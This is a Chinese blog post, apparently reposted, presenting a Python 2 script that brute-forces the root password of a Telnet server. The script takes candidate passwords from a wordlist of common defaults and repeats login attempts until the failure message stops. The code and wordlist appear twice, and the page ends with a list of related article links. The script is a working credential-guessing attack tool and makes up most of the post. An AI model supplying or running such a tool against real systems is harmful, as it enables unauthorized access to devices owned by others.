Python实现Telnet自动连接检测密码
2014-11-06 16:23
1486 查看
最近在学习Python网络相关编程,这个代码实现了Telnet自动连接检测root用户密码,密码取自密码本,一个一个检测密码是否匹配,直到匹配成功,屏幕输出停止。
代码如下:
#encoding=utf-8
import telnetlib
import time
import sys
import os
def do_telnet(Host, Port, username, password, finish):
#连接Telnet服务器
tn = telnetlib.Telnet(Host, Port, timeout=1)
tn.set_debuglevel(3)
#输入登录用户名
tn.read_until("login: ")
tn.write(str(username)+'\n')
# 输入登录密码
tn.read_until("Password: ")
tn.write(str(password)+'\n')
# 判断密码错误提示,如果没有这个提示说明登录成功
if tn.read_until(finish):
print "****** login incorrect!\n"
tn.close();
if __name__=='__main__':
Host = raw_input("IP:") # Telnet服务器IP
Port = raw_input("Port:") # Telnet服务器端口
username = 'root' # 登录用户名
finish = 'incorrect' # 密码错误提示
pw_file = open('.\\pw.txt','r+') #密码文件
Index = 0
print time.asctime(),": ****** begin","\n"
while True:
password = pw_file.readline()
Index +=1;
print Index,time.asctime(),": ****** try","",username,":",password,""
if len(password) == 0:
break;
do_telnet(Host, Port, username, password, finish)
pw_file.close();
密码本pw.txt,内容例如:
root
admin
12345
888888
输出如下:
![](https://oscdn.geek-share.com/Uploads/Images/Content/202006/11/1b871472a1ed68de1cb2e223bb5677c8)
注:我这边测试的目标主机是嵌入式linux系统,用户名是root,密码错误返回的是incorrect提示。你可能要根据目标系统不同修改用户名和错误提示。
代码如下:
#encoding=utf-8
import telnetlib
import time
import sys
import os
def do_telnet(Host, Port, username, password, finish):
#连接Telnet服务器
tn = telnetlib.Telnet(Host, Port, timeout=1)
tn.set_debuglevel(3)
#输入登录用户名
tn.read_until("login: ")
tn.write(str(username)+'\n')
# 输入登录密码
tn.read_until("Password: ")
tn.write(str(password)+'\n')
# 判断密码错误提示,如果没有这个提示说明登录成功
if tn.read_until(finish):
print "****** login incorrect!\n"
tn.close();
if __name__=='__main__':
Host = raw_input("IP:") # Telnet服务器IP
Port = raw_input("Port:") # Telnet服务器端口
username = 'root' # 登录用户名
finish = 'incorrect' # 密码错误提示
pw_file = open('.\\pw.txt','r+') #密码文件
Index = 0
print time.asctime(),": ****** begin","\n"
while True:
password = pw_file.readline()
Index +=1;
print Index,time.asctime(),": ****** try","",username,":",password,""
if len(password) == 0:
break;
do_telnet(Host, Port, username, password, finish)
pw_file.close();
密码本pw.txt,内容例如:
root
admin
12345
888888
输出如下:
注:我这边测试的目标主机是嵌入式linux系统,用户名是root,密码错误返回的是incorrect提示。你可能要根据目标系统不同修改用户名和错误提示。
相关文章推荐
- Python3.7实现中控考勤机自动连接
- 通过 python 打开 SecureCRT 软件并实现自动连接主机
- 使用python实现自动“扫描检测硬件改动”功能
- Python实现获取当前公网ip并且自动断开宽带连接功能
- 菜鸟使用python实现正则检测密码合法性
- Python使用selenium实现网页用户名 密码 验证码自动登录功能
- Python实现获取当前公网ip并且自动断开宽带连接功能
- 怎么保存远程桌面用户名和密码实现双击自动连接到远程计算机
- 菜鸟使用python实现正则检测密码合法性
- python的socket连接端口:代替telnet检测服务器端口
- expect以及rsync实现远程连接自动推送密码
- 实践项目五:python调用百度API实现自动检测翻译
- python+cookielib实现批量利用账号和密码自动获取新浪微博登录cookie
- python使用telnet实现弱密码登录
- shell实现自动adsl拨号并检测连接状况脚本分享
- shell实现自动adsl拨号并检测连接状况脚本分享
- 串口波特率自动检测的一种工程实现:分段特征值匹配
- 如何用shell脚本实现自动telnet
- unix自动登录Telnet,实现查看多台服务器硬盘及数据表空间使用情况
- 关于telnet自动关闭连接的问题解答